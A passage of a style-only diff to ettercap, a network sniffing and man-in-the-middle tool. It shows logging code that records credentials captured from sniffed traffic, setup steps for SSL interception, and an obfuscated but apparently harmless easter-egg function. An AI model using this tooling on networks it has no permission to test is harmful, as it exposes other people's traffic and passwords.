DISPATCHER */ - hook_add(HOOK_DISPATCHER, &log_info); - - /* add the hook for the ARP packets */ - hook_add(HOOK_PACKET_ARP, &log_info); - - /* add the hook for ICMP packets */ - hook_add(HOOK_PACKET_ICMP, &log_info); - - /* add the hook for DHCP packets */ - /* (fake icmp packets from DHCP discovered GW and DNS) */ - hook_add(HOOK_PROTO_DHCP_PROFILE, &log_info); - - break; + switch (level) { + + case LOG_PACKET: + if (GBL_OPTIONS->compress) { + fdp.type = LOG_COMPRESSED; + } else { + fdp.type = LOG_UNCOMPRESSED; + } + + /* create the file */ + if (log_open(&fdp, ecp) != E_SUCCESS) + return -E_FATAL; + + /* initialize the log file */ + log_write_header(&fdp, LOG_PACKET); + + /* add the hook point to DISPATCHER */ + hook_add(HOOK_DISPATCHER, &log_packet); + + /* no break here, loglevel is incremental */ + + case LOG_INFO: + if (GBL_OPTIONS->compress) { + fdi.type = LOG_COMPRESSED; + } else { + fdi.type = LOG_UNCOMPRESSED; + } + + /* create the file */ + if (log_open(&fdi, eci) != E_SUCCESS) + return -E_FATAL; + + /* initialize the log file */ + log_write_header(&fdi, LOG_INFO); + + /* add the hook point to DISPATCHER */ + hook_add(HOOK_DISPATCHER, &log_info); + + /* add the hook for the ARP packets */ + hook_add(HOOK_PACKET_ARP, &log_info); + + /* add the hook for ICMP packets */ + hook_add(HOOK_PACKET_ICMP, &log_info); + + /* add the hook for DHCP packets */ + /* (fake icmp packets from DHCP discovered GW and DNS) */ + hook_add(HOOK_PROTO_DHCP_PROFILE, &log_info); + + break; } atexit(log_stop); @@ -157,7 +156,7 @@ int set_loglevel(int level, char *filename) void log_stop(void) { DEBUG_MSG("log_stop"); - + /* remove all the hooks */ hook_del(HOOK_DISPATCHER, &log_packet); hook_del(HOOK_DISPATCHER, &log_info); @@ -182,45 +181,41 @@ void log_stop(void) int log_open(struct log_fd *fd, char *filename) { - fd->fd = open(filename, O_CREAT|O_TRUNC|O_RDWR|O_BINARY, S_IRUSR|S_IWUSR|S_IRGRP|S_IWGRP|S_IROTH|S_IWOTH); + fd->fd = open(filename, O_CREAT | O_TRUNC | O_RDWR | O_BINARY, S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH | S_IWOTH); if (fd->fd == -1) SEMIFATAL_ERROR("Can't create %s: %s", filename, strerror(errno)); - else - { - if (GBL_OPTIONS->compress) - { + else { + if (GBL_OPTIONS->compress) { int zerr; fd->cfd = gzdopen(fd->fd, "wb9"); if (fd->cfd == NULL) SEMIFATAL_ERROR("%s", gzerror(fd->cfd, &zerr)); - }; - }; + } + } return E_SUCCESS; } -/* - * closes a log_fd struct +/* + * closes a log_fd struct */ void log_close(struct log_fd *fd) { DEBUG_MSG("log_close: type: %d [%p][%d]", fd->type, fd->cfd, fd->fd); - if (fd->cfd) - { + if (fd->cfd) { /* gzclose() on the gzip stream descriptor (fd->cfd) * will also close the file descriptor (fd->fd) */ gzclose(fd->cfd); fd->cfd = NULL; fd->fd = -1; /* to prevent double closing the file descriptor */ - }; + } - if (fd->fd >= 0) - { + if (fd->fd >= 0) { close(fd->fd); fd->fd = -1; - }; + } } /* @@ -237,43 +232,37 @@ void reset_logfile_owners(uid_t old_uid, gid_t old_gid, uid_t new_uid, gid_t new gid_t gid; /* packet logfile */ - if (fdp.fd >= 0) - { + if (fdp.fd >= 0) { DEBUG_MSG("reset_logfile_owners: packet log file"); - if (fstat(fdp.fd, &f) == 0) - { + if (fstat(fdp.fd, &f) == 0) { uid = (f.st_uid == old_uid) ? new_uid : (uid_t)-1; gid = (f.st_gid == old_gid) ? new_gid : (gid_t)-1; - if ( fchown(fdp.fd, uid, gid) != 0 ) + if (fchown(fdp.fd, uid, gid) != 0) ERROR_MSG("fchown()"); - } - else + } else ERROR_MSG("fstat()"); - }; + } /* info logfile */ - if (fdi.fd >= 0) - { + if (fdi.fd >= 0) { DEBUG_MSG("reset_logfile_owners: info log file"); - if (fstat(fdi.fd, &f) == 0) - { + if (fstat(fdi.fd, &f) == 0) { uid = (f.st_uid == old_uid) ? new_uid : (uid_t)-1; gid = (f.st_gid == old_gid) ? new_gid : (gid_t)-1; - if ( fchown(fdi.fd, uid, gid) != 0 ) + if (fchown(fdi.fd, uid, gid) != 0) ERROR_MSG("fchown()"); - } - else + } else ERROR_MSG("fstat()"); - }; + } } -/* +/* * function registered to HOOK_DISPATCHER * check the regex (if present) and log packets */ static void log_packet(struct packet_object *po) { - /* + /* * skip packet sent (spoofed) by us * else we will get duplicated hosts with our mac address * this is necessary because check_forwarded() is executed @@ -290,27 +279,26 @@ static void log_packet(struct packet_object *po) */ po->flags |= PO_IGNORE; EXECUTE(GBL_SNIFF->interesting, po); - if ( po->flags & PO_IGNORE ) - return; + if (po->flags & PO_IGNORE) + return; /* the regex is set, respect it */ if (GBL_OPTIONS->regex) { - if (regexec(GBL_OPTIONS->regex, (const char*)po->DATA.disp_data, 0, NULL, 0) == 0) + if (regexec(GBL_OPTIONS->regex, (const char *)po->DATA.disp_data, 0, NULL, 0) == 0) log_write_packet(&fdp, po); } else { /* if no regex is set, dump all the packets */ log_write_packet(&fdp, po); } - } -/* +/* * function registered to HOOK_DISPATCHER * it is a wrapper to the real one */ static void log_info(struct packet_object *po) { - /* + /* * skip packet sent (spoofed) by us * else we will get duplicated hosts with our mac address * this is necessary because check_forwarded() is executed @@ -327,18 +315,18 @@ static void log_info(struct packet_object *po) */ po->flags |= PO_IGNORE; EXECUTE(GBL_SNIFF->interesting, po); - if ( po->flags & PO_IGNORE ) - return; + if (po->flags & PO_IGNORE) + return; /* if all the tests are ok, write it to the disk */ if (po->L4.proto == NL_TYPE_ICMP || po->L3.proto == htons(LL_TYPE_ARP)) - log_write_info_arp_icmp(&fdi, po); + log_write_info_arp_icmp(&fdi, po); else log_write_info(&fdi, po); } /* - * initialize the log file with + * initialize the log file with * the proper header */ @@ -346,28 +334,28 @@ int log_write_header(struct log_fd *fd, int type) { struct log_global_header lh; int c, zerr; - + DEBUG_MSG("log_write_header : type %d", type); memset(&lh, 0, sizeof(struct log_global_header)); /* the magic number */ lh.magic = htons(EC_LOG_MAGIC); - + /* the offset of the first header is equal to the size of this header */ lh.first_header = htons(sizeof(struct log_global_header)); - + strlcpy(lh.version, GBL_VERSION, sizeof(lh.version)); - + /* creation time of the file */ gettimeofday(&lh.tv, 0); lh.tv.tv_sec = htonl(lh.tv.tv_sec); lh.tv.tv_usec = htonl(lh.tv.tv_usec); - + lh.type = htonl(type); LOG_LOCK; - + if (fd->type == LOG_COMPRESSED) { c = gzwrite(fd->cfd, &lh, sizeof(lh)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); @@ -377,12 +365,10 @@ int log_write_header(struct log_fd *fd, int type) } LOG_UNLOCK; - + return c; } - - /* log all the packet to the logfile */ void log_write_packet(struct log_fd *fd, struct packet_object *po) @@ -391,28 +377,28 @@ void log_write_packet(struct log_fd *fd, struct packet_object *po) int c, zerr; memset(&hp, 0, sizeof(struct log_header_packet)); - + /* adjust the timestamp */ memcpy(&hp.tv, &po->ts, sizeof(struct timeval)); hp.tv.tv_sec = htonl(hp.tv.tv_sec); hp.tv.tv_usec = htonl(hp.tv.tv_usec); - + memcpy(&hp.L2_src, &po->L2.src, MEDIA_ADDR_LEN); memcpy(&hp.L2_dst, &po->L2.dst, MEDIA_ADDR_LEN); - + memcpy(&hp.L3_src, &po->L3.src, sizeof(struct ip_addr)); memcpy(&hp.L3_dst, &po->L3.dst, sizeof(struct ip_addr)); - + hp.L4_flags = po->L4.flags; hp.L4_proto = po->L4.proto; hp.L4_src = po->L4.src; hp.L4_dst = po->L4.dst; - + /* the length of the payload */ hp.len = htonl(po->DATA.disp_len); LOG_LOCK; - + if (fd->type == LOG_COMPRESSED) { c = gzwrite(fd->cfd, &hp, sizeof(hp)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); @@ -426,17 +412,16 @@ void log_write_packet(struct log_fd *fd, struct packet_object *po) c = write(fd->fd, po->DATA.disp_data, po->DATA.disp_len); ON_ERROR(c, -1, "Can't write to logfile"); } - + LOG_UNLOCK; } - /* * log passive information * * hi is the source * hid is the dest, used to log password. - * since they must be associated to the + * since they must be associated to the * server and not to the client. * so we create a new entry in the logfile */ @@ -453,12 +438,12 @@ void log_write_info(struct log_fd *fd, struct packet_object *po) /* the mac address */ memcpy(&hi.L2_addr, &po->L2.src, MEDIA_ADDR_LEN); memcpy(&hid.L2_addr, &po->L2.dst, MEDIA_ADDR_LEN); - + /* the ip address */ memcpy(&hi.L3_addr, &po->L3.src, sizeof(struct ip_addr)); /* the account must be associated with the server, so use dst */ memcpy(&hid.L3_addr, &po->L3.dst, sizeof(struct ip_addr)); - + /* the protocol */ hi.L4_proto = po->L4.proto; hid.L4_proto = po->L4.proto; @@ -470,7 +455,7 @@ void log_write_info(struct log_fd *fd, struct packet_object *po) hi.L4_addr = po->L4.src; else hi.L4_addr = 0; - + /* open on the dest ? */ if (is_open_port(po->L4.proto, po->L4.dst, po->L4.flags)) hid.L4_addr = po->L4.dst; @@ -485,11 +470,11 @@ void log_write_info(struct log_fd *fd, struct packet_object *po) * even if the resolv option was not specified, * the cache may have the dns answer passively sniffed. */ - + host_iptoa(&po->L3.src, hi.hostname); host_iptoa(&po->L3.dst, hid.hostname); - - /* + + /* * distance in hop : * * the distance is calculated as the difference between the @@ -502,123 +487,121 @@ void log_write_info(struct log_fd *fd, struct packet_object *po) /* OS identification */ memcpy(&hi.fingerprint, po->PASSIVE.fingerprint, FINGER_LEN); - + /* local, non local ecc ecc */ hi.type = po->PASSIVE.flags; /* calculate if the dest is local or not */ switch (ip_addr_is_local(&po->L3.dst, NULL)) { - case E_SUCCESS: - hid.type |= FP_HOST_LOCAL; - break; - case -E_NOTFOUND: - hid.type |= FP_HOST_NONLOCAL; - break; - case -E_INVALID: - hid.type = FP_UNKNOWN; - break; + case E_SUCCESS: + hid.type |= FP_HOST_LOCAL; + break; + case -E_NOTFOUND: + hid.type |= FP_HOST_NONLOCAL; + break; + case -E_INVALID: + hid.type = FP_UNKNOWN; + break; } - + /* set account information */ hid.failed = po->DISSECTOR.failed; memcpy(&hid.client, &po->L3.src, sizeof(struct ip_addr)); - + /* set the length of the fields */ if (po->DISSECTOR.user) hid.var.user_len = htons(strlen(po->DISSECTOR.user)); if (po->DISSECTOR.pass) hid.var.pass_len = htons(strlen(po->DISSECTOR.pass)); - + if (po->DISSECTOR.info) hid.var.info_len = htons(strlen(po->DISSECTOR.info)); - + if (po->DISSECTOR.banner) hi.var.banner_len = htons(strlen(po->DISSECTOR.banner)); - + /* check if the packet is interesting... else return */ if (hi.L4_addr == 0 && // the port is not open - !strcmp((char*)hi.fingerprint, "") && // no fingerprint + !strcmp((char *)hi.fingerprint, "") && // no fingerprint hid.var.user_len == 0 && // no user and pass infos... hid.var.pass_len == 0 && hid.var.info_len == 0 && hi.var.banner_len == 0 - ) { + ) + { return; } - + LOG_LOCK; - + if (fd->type == LOG_COMPRESSED) { c = gzwrite(fd->cfd, &hi, sizeof(hi)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); - + /* and now write the variable fields */ - + if (po->DISSECTOR.banner) { - c = gzwrite(fd->cfd, po->DISSECTOR.banner, strlen(po->DISSECTOR.banner) ); + c = gzwrite(fd->cfd, po->DISSECTOR.banner, strlen(po->DISSECTOR.banner)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); } - } else { c = write(fd->fd, &hi, sizeof(hi)); ON_ERROR(c, -1, "Can't write to logfile"); - + if (po->DISSECTOR.banner) { - c = write(fd->fd, po->DISSECTOR.banner, strlen(po->DISSECTOR.banner) ); + c = write(fd->fd, po->DISSECTOR.banner, strlen(po->DISSECTOR.banner)); ON_ERROR(c, -1, "Can't write to logfile"); } } - + /* write hid only if there is user and pass infos */ if (hid.var.user_len == 0 && hid.var.pass_len == 0 && - hid.var.info_len == 0 - ) { + hid.var.info_len == 0 + ) + { LOG_UNLOCK; return; } - if (fd->type == LOG_COMPRESSED) { c = gzwrite(fd->cfd, &hid, sizeof(hi)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); - + /* and now write the variable fields */ if (po->DISSECTOR.user) { - c = gzwrite(fd->cfd, po->DISSECTOR.user, strlen(po->DISSECTOR.user) ); + c = gzwrite(fd->cfd, po->DISSECTOR.user, strlen(po->DISSECTOR.user)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); } if (po->DISSECTOR.pass) { - c = gzwrite(fd->cfd, po->DISSECTOR.pass, strlen(po->DISSECTOR.pass) ); + c = gzwrite(fd->cfd, po->DISSECTOR.pass, strlen(po->DISSECTOR.pass)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); } if (po->DISSECTOR.info) { - c = gzwrite(fd->cfd, po->DISSECTOR.info, strlen(po->DISSECTOR.info) ); + c = gzwrite(fd->cfd, po->DISSECTOR.info, strlen(po->DISSECTOR.info)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); } - } else { c = write(fd->fd, &hid, sizeof(hi)); ON_ERROR(c, -1, "Can't write to logfile"); - + if (po->DISSECTOR.user) { - c = write(fd->fd, po->DISSECTOR.user, strlen(po->DISSECTOR.user) ); + c = write(fd->fd, po->DISSECTOR.user, strlen(po->DISSECTOR.user)); ON_ERROR(c, -1, "Can't write to logfile"); } if (po->DISSECTOR.pass) { - c = write(fd->fd, po->DISSECTOR.pass, strlen(po->DISSECTOR.pass) ); + c = write(fd->fd, po->DISSECTOR.pass, strlen(po->DISSECTOR.pass)); ON_ERROR(c, -1, "Can't write to logfile"); } if (po->DISSECTOR.info) { - c = write(fd->fd, po->DISSECTOR.info, strlen(po->DISSECTOR.info) ); + c = write(fd->fd, po->DISSECTOR.info, strlen(po->DISSECTOR.info)); ON_ERROR(c, -1, "Can't write to logfile"); } - } LOG_UNLOCK; @@ -637,19 +620,19 @@ void log_write_info_arp_icmp(struct log_fd *fd, struct packet_object *po) /* the mac address */ memcpy(&hi.L2_addr, &po->L2.src, MEDIA_ADDR_LEN); - + /* the ip address */ memcpy(&hi.L3_addr, &po->L3.src, sizeof(struct ip_addr)); - + /* set the distance */ if (po->L3.ttl > 1) hi.distance = TTL_PREDICTOR(po->L3.ttl) - po->L3.ttl + 1; else hi.distance = po->L3.ttl; - + /* resolve the host */ host_iptoa(&po->L3.src, hi.hostname); - + /* local, non local ecc ecc */ if (po->L3.proto == htons(LL_TYPE_ARP)) { hi.type |= LOG_ARP_HOST; @@ -657,9 +640,9 @@ void log_write_info_arp_icmp(struct log_fd *fd, struct packet_object *po) } else { hi.type = po->PASSIVE.flags; } - + LOG_LOCK; - + if (fd->type == LOG_COMPRESSED) { c = gzwrite(fd->cfd, &hi, sizeof(hi)); ON_ERROR(c, -1, "%s", gzerror(fd->cfd, &zerr)); @@ -671,30 +654,29 @@ void log_write_info_arp_icmp(struct log_fd *fd, struct packet_object *po) LOG_UNLOCK; } - /* * open/close the file to store all the USER_MSG */ int set_msg_loglevel(int level, char *filename) { switch (level) { - case LOG_TRUE: - /* close the filedesc if already opened */ - set_msg_loglevel(LOG_FALSE, filename); - - GBL_OPTIONS->msg_fd = fopen(filename, FOPEN_WRITE_TEXT); - if (GBL_OPTIONS->msg_fd == NULL) - FATAL_MSG("Cannot open \"%s\" for writing", filename); - - break; - - case LOG_FALSE: - /* close the file and set the pointer to NULL */ - if (GBL_OPTIONS->msg_fd) { - fclose(GBL_OPTIONS->msg_fd); - GBL_OPTIONS->msg_fd = NULL; - } - break; + case LOG_TRUE: + /* close the filedesc if already opened */ + set_msg_loglevel(LOG_FALSE, filename); + + GBL_OPTIONS->msg_fd = fopen(filename, FOPEN_WRITE_TEXT); + if (GBL_OPTIONS->msg_fd == NULL) + FATAL_MSG("Cannot open \"%s\" for writing", filename); + + break; + + case LOG_FALSE: + /* close the file and set the pointer to NULL */ + if (GBL_OPTIONS->msg_fd) { + fclose(GBL_OPTIONS->msg_fd); + GBL_OPTIONS->msg_fd = NULL; + } + break; } return E_SUCCESS; @@ -703,4 +685,3 @@ int set_msg_loglevel(int level, char *filename) /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_main.c b/src/ec_main.c index f5c639224..d2f1e4c42 100644 --- a/src/ec_main.c +++ b/src/ec_main.c @@ -1,23 +1,23 @@ /* - ettercap -- everything starts from this file... - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ + * ettercap -- everything starts from this file... + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include #include @@ -48,7 +48,6 @@ /* global vars */ - /* protos */ static void time_check(void); @@ -61,33 +60,33 @@ int main(int argc, char *argv[]) * Alloc the global structures * We can access these structs via the macro in ec_globals.h */ - + globals_alloc(); - + GBL_PROGRAM = strdup(EC_PROGRAM); GBL_VERSION = strdup(EC_VERSION); SAFE_CALLOC(GBL_DEBUG_FILE, strlen(EC_PROGRAM) + strlen("-") + strlen(EC_VERSION) + strlen("_debug.log") + 1, sizeof(char)); sprintf(GBL_DEBUG_FILE, "%s-%s_debug.log", GBL_PROGRAM, EC_VERSION); - + DEBUG_INIT(); DEBUG_MSG("main -- here we go !!"); /* initialize the filter mutex */ filter_init_mutex(); - + /* register the main thread as "init" */ ec_thread_register(EC_PTHREAD_SELF, "init", "initialization phase"); - + /* activate the signal handler */ signal_handler(); - + #ifdef OS_GNU - fprintf(stdout,"%s is still not fully supported in this OS because of missing live capture support.", GBL_PROGRAM); + fprintf(stdout, "%s is still not fully supported in this OS because of missing live capture support.", GBL_PROGRAM); #endif /* ettercap copyright */ - fprintf(stdout, "\n" EC_COLOR_BOLD "%s %s" EC_COLOR_END " copyright %s %s\n\n", - GBL_PROGRAM, GBL_VERSION, EC_COPYRIGHT, EC_AUTHORS); - + fprintf(stdout, "\n" EC_COLOR_BOLD "%s %s" EC_COLOR_END " copyright %s %s\n\n", + GBL_PROGRAM, GBL_VERSION, EC_COPYRIGHT, EC_AUTHORS); + /* getopt related parsing... */ parse_options(argc, argv); @@ -96,51 +95,51 @@ int main(int argc, char *argv[]) /* load the configuration file */ load_conf(); - - /* - * get the list of available interfaces - * + + /* + * get the list of available interfaces + * * this function will not return if the -I option was * specified on command line. it will instead print the * list and exit */ capture_getifs(); - + /* initialize the user interface */ ui_init(); - + /* initialize the network subsystem */ network_init(); - + #ifdef WITH_GEOIP /* initialize the GeoIP API */ if (GBL_CONF->geoip_support_enable) geoip_init(); #endif - /* + /* * always disable the kernel ip forwarding (except when reading from file). * the forwarding will be done by ettercap. */ - if(!GBL_OPTIONS->read && !GBL_OPTIONS->unoffensive && !GBL_OPTIONS->only_mitm) { + if (!GBL_OPTIONS->read && !GBL_OPTIONS->unoffensive && !GBL_OPTIONS->only_mitm) { #ifdef WITH_IPV6 /* - * disable_ipv6_forward() registers the restore function with atexit() - * which relies on the regain_privs_atexit() registered in - * disable_ip_forward() below. - * So the call of disable_ipv6_forward() must NOT be after the call of + * disable_ipv6_forward() registers the restore function with atexit() + * which relies on the regain_privs_atexit() registered in + * disable_ip_forward() below. + * So the call of disable_ipv6_forward() must NOT be after the call of * disable_ip_forward(). */ disable_ipv6_forward(); #endif disable_ip_forward(); - + #ifdef OS_LINUX if (!GBL_OPTIONS->read) - disable_interface_offload(); + disable_interface_offload(); #endif /* binds ports and set redirect for ssl wrapper */ - if(GBL_SNIFF->type == SM_UNIFIED && GBL_OPTIONS->ssl_mitm) + if (GBL_SNIFF->type == SM_UNIFIED && GBL_OPTIONS->ssl_mitm) ssl_wrap_init(); #if defined OS_LINUX && defined WITH_IPV6 @@ -148,9 +147,9 @@ int main(int argc, char *argv[]) check_tempaddr(GBL_OPTIONS->iface); #endif } - - /* - * drop root privileges + + /* + * drop root privileges * we have already opened the sockets with high privileges * we don't need anymore root privs. */ @@ -163,16 +162,16 @@ int main(int argc, char *argv[]) /* print how many dissectors were loaded */ conf_dissectors(); - + /* load the mac-fingerprints */ manuf_init(); /* load the tcp-fingerprints */ fingerprint_init(); - + /* load the services names */ services_init(); - + /* load http known fileds for user/pass */ http_fields_init(); @@ -182,23 +181,23 @@ int main(int argc, char *argv[]) #endif /* set the encoding for the UTF-8 visualization */ - set_utf8_encoding((u_char*)GBL_CONF->utf8_encoding); - + set_utf8_encoding((u_char *)GBL_CONF->utf8_encoding); + /* print all the buffered messages */ if (GBL_UI->type == UI_TEXT) USER_MSG("\n"); - + ui_msg_flush(MSG_ALL); /**** INITIALIZATION PHASE TERMINATED ****/ - - /* + + /* * we are interested only in the mitm attack i * if entered, this function will not return... */ if (GBL_OPTIONS->only_mitm) only_mitm(); - + /* create the dispatcher thread */ ec_thread_new("top_half", "dispatching module", &top_half, NULL); @@ -207,50 +206,77 @@ int main(int argc, char *argv[]) /* start unified sniffing for curses and GTK at startup */ if ((GBL_UI->type == UI_CURSES || GBL_UI->type == UI_GTK) && - GBL_CONF->sniffing_at_startup) + GBL_CONF->sniffing_at_startup) EXECUTE(GBL_SNIFF->start); /* start the actual user interface */ ui_start(); -/******************************************** - * reached only when the UI is shutted down +/******************************************** + * reached only when the UI is shutted down ********************************************/ /* Call all the proper stop methods to ensure - * that no matter what UI was selected, everything is + * that no matter what UI was selected, everything is * turned off gracefully */ clean_exit(0); - return 0; //Never reaches here + return 0; // Never reaches here } static void time_check(void) { - /* - * a nice easter egg... - * just to waste some time of code reviewers... ;) + /* + * a nice easter egg... + * just to waste some time of code reviewers... ;) * ALoR, keeping this for you buddy! :) * * trust me, it's not evil ;) only a boring afternoon, and nothing to do... */ - time_t K9=time(NULL);char G5P[1<<6],*o=G5P,*O;uint U4M, _,__=0; char dMG[]= - "\n*\n^1U4Mm\x04wW#K\x2e\x0e+X\x7f\f,N'U!I-L5?";struct{char X5T[7];int dMG; - int U4M;} X5T[]={{"N!WwFr", 0x414c6f52,0},{"S6FfUe", 0x4e614741,0}};sprintf - (G5P,"%s",ctime(&K9));o+=4;O=strchr(o+4,' ');*O=0; for(U4M=(1<<5)-(1<<2)+1; - U4M>0;U4M--)dMG[U4M]=dMG[U4M]^dMG[U4M-1];for(U4M=0;U4M0;_--)X5T[U4M].X5T[_]=X5T[U4M].X5T[_]^X5T[U4M - ].X5T[_-1];if(!strcmp(X5T[U4M].X5T,o)){char T0Q[]="\n\0O!M4\x14r\x1doO;T0Q" - "(\bm\x19m\bz\x19x\b(A2\x12s\x1d=X5T=Q&G5Pp\x03l\n~\th\x1a\x7f_dMG\x06hH-@" - "!H$\x04s\x1av\x1a:X=\x1d|\f|\x0ek\ba\0t\x11u[u[{^-m\fb\x16\x7f\x19v\x04oA" - "\x2e\\;1;K9\\/\\|9w#f4\x1a\x34\x1a\x1a";for(_=(1<<7)-(1<<3)-(1<<2)+1;_>0;_ - --)T0Q[_]=T0Q[_]^T0Q[_-1];write(1,dMG,1);while(__++<1<<5)printf("%c",(1<<5) - +(1<<3)+(1<<1));X5T[U4M].dMG=ntohl(X5T[U4M].dMG);printf(dMG,&X5T[U4M].dMG); - while(--__) printf("%c",(1<<6)-(1<<4)-(1<<3)+(1<<1)); printf(T0Q,&X5T[U4M]. - dMG);getchar();break;}} + time_t K9 = time(NULL); + char G5P[1 << 6], *o = G5P, *O; + uint U4M, _, __ = 0; + char dMG[] = + "\n*\n^1U4Mm\x04wW#K\x2e\x0e+X\x7f\f,N'U!I-L5?"; + struct {char X5T[7]; + int dMG; + int U4M; + } X5T[] = { { "N!WwFr", 0x414c6f52, 0 }, { "S6FfUe", 0x4e614741, 0 } }; + sprintf + (G5P, "%s", ctime(&K9)); + o += 4; + O = strchr(o + 4, ' '); + *O = 0; + for (U4M = (1 << 5) - (1 << 2) + 1; + U4M > 0; U4M--) + dMG[U4M] = dMG[U4M] ^ dMG[U4M - 1]; + for (U4M = 0; U4M < sizeof(X5T) / sizeof(* + X5T); U4M++) + { + for (_ = (1 << 2) + 1; _ > 0; _--) X5T[U4M].X5T[_] = X5T[U4M].X5T[_] ^ X5T[U4M + ].X5T[_ - 1]; + if (!strcmp(X5T[U4M].X5T, o)) { + char T0Q[] = "\n\0O!M4\x14r\x1doO;T0Q" + "(\bm\x19m\bz\x19x\b(A2\x12s\x1d=X5T=Q&G5Pp\x03l\n~\th\x1a\x7f_dMG\x06hH-@" + "!H$\x04s\x1av\x1a:X=\x1d|\f|\x0ek\ba\0t\x11u[u[{^-m\fb\x16\x7f\x19v\x04oA" + "\x2e\\;1;K9\\/\\|9w#f4\x1a\x34\x1a\x1a"; + for (_ = (1 << 7) - (1 << 3) - (1 << 2) + 1; _ > 0; _ + --) + T0Q[_] = T0Q[_] ^ T0Q[_ - 1]; + write(1, dMG, 1); + while (__++ < 1 << 5) printf("%c", (1 << 5) + + (1 << 3) + (1 << 1)); + X5T[U4M].dMG = ntohl(X5T[U4M].dMG); + printf(dMG, &X5T[U4M].dMG); + while (--__) printf("%c", (1 << 6) - (1 << 4) - (1 << 3) + (1 << 1)); + printf(T0Q, &X5T[U4M]. + dMG); + getchar(); + break; + } + } } /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_manuf.c b/src/ec_manuf.c index 1ea796168..47341b8d2 100644 --- a/src/ec_manuf.c +++ b/src/ec_manuf.c @@ -1,24 +1,24 @@ /* - ettercap -- manufacturer finterprint module - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - - -*/ + * ettercap -- manufacturer finterprint module + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + * + */ /* * MFDBL: mac fingerprint database library. @@ -56,16 +56,16 @@ #include #include - #define TABBIT 10 /* 2^10 bit tab entries: 1024 SLISTS */ -#define TABSIZE (1UL<mac = (h); \ - (p)->vendor = strdup (v); \ -} while (0) +#define LOAD_ENTRY(p, h, v) \ + do { \ + SAFE_CALLOC((p), 1, sizeof(struct entry)); \ + (p)->mac = (h); \ + (p)->vendor = strdup(v); \ + } while (0) /* globals */ @@ -81,11 +81,10 @@ struct entry { static void discard_macdb(void); int manuf_init(void); -char * manuf_search(const char *m); +char *manuf_search(const char *m); /*****************************************/ - static void discard_macdb(void) { struct entry *l; @@ -102,17 +101,16 @@ static void discard_macdb(void) } DEBUG_MSG("ATEXIT: discard_macdb"); - + return; } - int manuf_init(void) { struct entry *p; - char line[6+1+120+1]; // MAC + Blank + Description + Newline - char name[120+1]; + char line[6 + 1 + 120 + 1]; // MAC + Blank + Description + Newline + char name[120 + 1]; union { char b[4]; u_int32 i; @@ -132,22 +130,21 @@ int manuf_init(void) if (sscanf(line, "%02X%02X%02X %120[^,\n],\n", &m1, &m2, &m3, name) != 4) continue; - mac.b[0] = (char) (m1); - mac.b[1] = (char) (m2); - mac.b[2] = (char) (m3); + mac.b[0] = (char)(m1); + mac.b[1] = (char)(m2); + mac.b[2] = (char)(m3); mac.b[3] = 0; - + LOAD_ENTRY(p, mac.i, name); SLIST_INSERT_HEAD(&(manuf_head[fnv_32(mac.b, 4) & TABMASK]), p, entries); i++; - } DEBUG_MSG("manuf_init -- %d fingers loaded", i); USER_MSG("%4d mac vendor fingerprint\n", i); - + fclose(f); atexit(discard_macdb); @@ -155,9 +152,7 @@ int manuf_init(void) return i; } - - -char * manuf_search(const char *m) +char *manuf_search(const char *m) { struct entry *l; union { @@ -173,17 +168,15 @@ char * manuf_search(const char *m) mac.b[3] = 0; h = fnv_32(mac.b, 4) & TABMASK; - + SLIST_FOREACH(l, &manuf_head[h], entries) { if (l->mac == mac.i) - return (l->vendor); + return l->vendor; } return ""; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/src/ec_mem.c b/src/ec_mem.c index b8989071c..f84502493 100644 --- a/src/ec_mem.c +++ b/src/ec_mem.c @@ -1,23 +1,23 @@ /* - ettercap -- global variables handling module - - Copyright (C) Ettercap Development Team - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; 